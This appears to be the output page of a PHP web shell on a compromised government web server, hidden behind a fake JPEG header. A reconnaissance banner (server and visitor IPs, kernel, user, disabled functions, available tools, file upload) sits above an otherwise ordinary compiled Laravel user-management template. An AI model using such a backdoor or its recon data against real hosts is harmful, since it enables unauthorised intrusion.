ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.117.100.157 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> User Modification <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div id="editModal" class="modal fade"> <div class="modal-dialog box box-default" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">User Modification </h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="editLgaModal" name="editLgaModal" role="form" method="POST" > <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <label class="col-sm-2 control-label">User Name</label> <input type="text" class="col-sm-9 form-control" id="username" readonly> </div> <div class="form-group" style="margin: 0 10px;"> <label class="col-sm-2 control-label">Names</label> <input type="text" class="col-sm-9 form-control" id="names" name="name" required> </div> <div class="form-group" style="margin: 0 10px;"> <label class="col-sm-2 control-label">Email</label> <input type="text" class="col-sm-9 form-control" id="email" name="email"> </div> <div class="form-group" style="margin: 0 10px;"> <label class="col-sm-2 control-label">Roles</label> <select name="role" id="role" class="form-control" required> <option value=''>-Select Role-</option> <?php $__currentLoopData = $Rolelist; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($b->roleID); ?>"><?php echo e($b->rolename); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> <div class="form-group" style="margin: 0 10px;"> <label class="col-sm-2 control-label">Password</label> <input type="text" class="col-sm-9 form-control" id="password" name="password"> </div> <div class="form-group" style="margin: 0 10px;"> <label class="col-sm-2 control-label">Status</label> <select name="status" id="status" class="form-control" required> <option value=''>-Select Status-</option> <?php $__currentLoopData = $Statuslist; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($b->id); ?>"><?php echo e($b->status); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> <div class="modal-footer"> <input type="hidden" id="id" name="id"> <button type="Submit" name="edit" class="btn btn-success">Save changes</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </div> </form> </div> </div> </div> <div class="box box-default"> <div class="box-body box-profile"> <div class="box-header with-border hidden-print"> <h3 class="box-title"><?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3> </div> <div class="box-body"> <div class="row"> <div class="col-md-12"><!--1st col--> <?php if($warning<>''): ?> <div class="alert alert-dismissible alert-danger"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($warning); ?></strong> </div> <?php endif; ?> <?php if($success<>''): ?> <div class="alert alert-dismissible alert-success"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($success); ?></strong> </div> <?php endif; ?> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <table class="table table-bordered table-striped table-highlight" > <thead> <tr bgcolor="#c7c7c7"> <th > S/N</th> <th > User Name</th> <th > Names</th> <th > Email</th> <th > Role</th> <th > Status</th> <th > Action</th> </tr> </thead> <?php $i=1;?> <?php $__currentLoopData = $UserList; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $con): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td><?php echo e($i++); ?></td> <td><?php echo e($con->username); ?></td> <td><?php echo e($con->name); ?></td> <td><?php echo e($con->email); ?></td> <td><?php echo e($con->roletext); ?></td> <td><?php echo e($con->statustext); ?></td> <td> <button type="button" class="btn btn-primary fa fa-edit" onclick="editfunc('<?php echo e($con->id); ?>', '<?php echo e($con->username); ?>', '<?php echo e($con->name); ?>','<?php echo e($con->email); ?>','<?php echo e($con->role); ?>','<?php echo e($con->status); ?>' )" class="" id=""> Edit</button> </td> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tr> </table> <hr /> </div> </div> </div> </div> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <style type="text/css"> .modal-dialog { width:10cm } .modal-header { background-color: #006600; color:#FFF; } </style> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> <script> function editfunc(id,usernane,names,email,role,status) { $(document).ready(function(){ $('#username').val(usernane); $('#names').val(names); $('#email').val(email); $('#role').val(role); $('#status').val(status); $('#id').val(id); $("#editModal").modal('show'); }); } function delfunc(a) { $(document).ready(function(){ $('#conID').val(a); $("#delModal").modal('show'); }); } </script> </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\wamp64\www\funds-upgrade\funds-upgraded\resources\views/auth/user_update.blade.php ENDPATH**/ ?>